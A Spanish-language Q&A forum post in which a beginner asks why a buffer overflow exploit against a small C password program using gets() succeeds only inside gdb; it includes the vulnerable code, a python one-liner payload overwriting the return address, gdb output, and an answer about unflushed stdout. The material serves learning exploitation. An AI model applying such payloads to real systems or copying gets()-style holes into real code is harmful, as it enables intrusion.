Exploit solo funciona en gdb

6

tl; dr: por qué mi exploit solo funciona dentro de gdb.

Soy muy nuevo en los campos de desarrollo de desbordamiento y explotación de búfer. Para mejorar mis habilidades basadas en una serie de documentos y videos, escribí este sencillo software en C:

Nota: deshabilité ASLR

Creo que mi pregunta es diferente a esta: El exploit de desbordamiento de búfer funciona con gdb pero no sin porque el autor parece tener ASRL habilitado.

#include <stdio.h>
#include <string.h>

void granted()
{
    printf ("\nAccess granted\n");
    return;
}

int main()
{
    char password[104];
    printf ("Enter your password: ");
    gets(password);

    if (strcmp(password,"p@$$w0rd"))
    {
        printf("\nFailed!!");
    }
    else
    {
        granted();
    }

}

Por lo que sé, hay un pequeño error: es posible ingresar mucho más de 103 caracteres.

Mis primeros objetivos de explotación fueron redirigir el flujo de ejecución a la función otorgada.

Para generar el exploit, usé el siguiente comando python -c 'print "A"*100+"\x9b\x84\x04\x08"+"BBBB"' > payload-access-granted

me@computer:~$ gdb bof3.bin 
(gdb) r < payload-access-granted 
Starting program: /home/me/bof3.bin < payload-access-granted
Enter your password: 
Failed!!
Access granted

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Como puede ver, la carga útil hizo lo que se esperaba: saltó a la función otorgada. La explotación está funcionando ... pero

Fuera de gdb:

me@computer:~$ ./bof3.bin < payload-access-granted 
Enter your password: 
Segmentation fault (core dumped)

Entonces, ¿por qué ocurre esto? ¿Qué no hice correctamente?

    
pregunta Joao Daniel 19.04.2017 - 13:05
fuente

1 respuesta

2

Lo más probable es que esté funcionando, pero el programa falla con la impresión de Access Granted que no se ha vaciado en la pantalla. El bloqueo de SIGSEGV no provoca el vaciado de los búferes. Agregue fflush(stdout); después de la llamada printf en granted , y es probable que obtenga el comportamiento deseado.

    
respondido por el David 06.12.2017 - 19:40
fuente

Lea otras preguntas en las etiquetas